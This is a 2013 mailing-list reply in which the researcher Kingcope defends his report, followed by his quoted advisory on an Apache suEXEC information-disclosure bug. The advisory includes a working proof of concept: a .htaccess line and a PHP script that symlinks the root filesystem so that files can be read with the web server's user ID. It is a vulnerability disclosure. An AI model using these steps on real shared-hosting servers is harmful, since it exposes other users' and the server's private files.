Re: Apache suEXEC privilege elevation / information disclosure

[Kingcope <isowarez.isowarez.isowarez () googlemail com>]

So what your Emails Tell me is better ignore this vulnerability. I dont Claim its a High severity Bug but if you Tell 
People to ignore it Because it isnt a vulnerability you are very much aiding the Chaos of insecurity in the Internet 
today. You Maybe have a Secure Setting but theres only you on the Planet. Attackers Look specifically for such Bugs to 
Open Servers. No Wonder we have compromises in a High Scale every Day due to this ignorance. My rant on that One.

Am 07.08.2013 um 21:49 schrieb king cope <isowarez.isowarez.isowarez () googlemail com>:

> Apache suEXEC privilege elevation / information disclosure
>
> Discovered by Kingcope/Aug 2013
>
> The suEXEC feature provides Apache users the ability to run CGI and SSI programs
> under user IDs different from the user ID of the calling web server. Normally,
> when a CGI or SSI program executes, it runs as the same user who is running the
> web server.
> Used properly, this feature can reduce considerably the security risks involved
> with allowing users to develop and run private CGI or SSI programs.
>
> With this bug an attacker who is able to run php or cgi code inside a web
> hosting environment and the environment is configured to use suEXEC as a
> protection mechanism, he/she is able to read any file and directory on the file-
> system of the UNIX/Linux system with the user and group id of the
> apache web server.
>
> Normally php and cgi scripts are not allowed to read files with the apache user-
> id inside a suEXEC configured environment.
>
> Take for example this apache owned file and the php script that follows.
>
> $ ls -la /etc/testapache
> -rw------- 1 www-data www-data 36 Aug  7 16:28 /etc/testapache
> only user www-data should be able to read this file.
>
> $ cat test.php
> <?php
>        system("id; cat /etc/testapache");
> ?>
>
> When calling the php file using a webbrowser it will show...
> uid=1002(example) gid=1002(example) groups=1002(example)
>
> because the php script is run trough suEXEC.
> The script will not output the file requested because of a permissions error.
>
> Now if we create a .htaccess file with the content...
> Options Indexes FollowSymLinks
>
> and a php script with the content...
>
> <?php
>        system("ln -sf / test99.php");
>        symlink("/", "test99.php"); // try builtin function in case when
>                                    //system() is blocked
> ?>
> in the same folder
>
> ..we can access the root filesystem with the apache uid,gid by
> requesting test99.php.
> The above php script will simply create a symbolic link to '/'.
>
> A request to test99.php/etc/testapache done with a web browser shows..
> voila! read with the apache uid/gid
>
> The reason we can now read out any files and traverse directories owned by the
> apache user is because apache httpd displays symlinks and directory listings
> without querying suEXEC.
> It is not possible to write to files in this case.
>
> Version notes. Assumed is that all Apache versions are affected by this bug.
>
> apache2 -V
> Server version: Apache/2.2.22 (Debian)
> Server built:   Mar  4 2013 21:32:32
> Server's Module Magic Number: 20051115:30
> Server loaded:  APR 1.4.6, APR-Util 1.4.1
> Compiled using: APR 1.4.6, APR-Util 1.4.1
> Architecture:   32-bit
> Server MPM:     Worker
>  threaded:     yes (fixed thread count)
>    forked:     yes (variable process count)
> Server compiled with....
> -D APACHE_MPM_DIR="server/mpm/worker"
> -D APR_HAS_SENDFILE
> -D APR_HAS_MMAP
> -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
> -D APR_USE_SYSVSEM_SERIALIZE
> -D APR_USE_PTHREAD_SERIALIZE
> -D APR_HAS_OTHER_CHILD
> -D AP_HAVE_RELIABLE_PIPED_LOGS
> -D DYNAMIC_MODULE_LIMIT=128
> -D HTTPD_ROOT="/etc/apache2"
> -D SUEXEC_BIN="/usr/lib/apache2/suexec"
> -D DEFAULT_PIDLOG="/var/run/apache2.pid"
> -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
> -D DEFAULT_ERRORLOG="logs/error_log"
> -D AP_TYPES_CONFIG_FILE="mime.types"
> -D SERVER_CONFIG_FILE="apache2.conf"
>
> Cheers,
> /Kingcope

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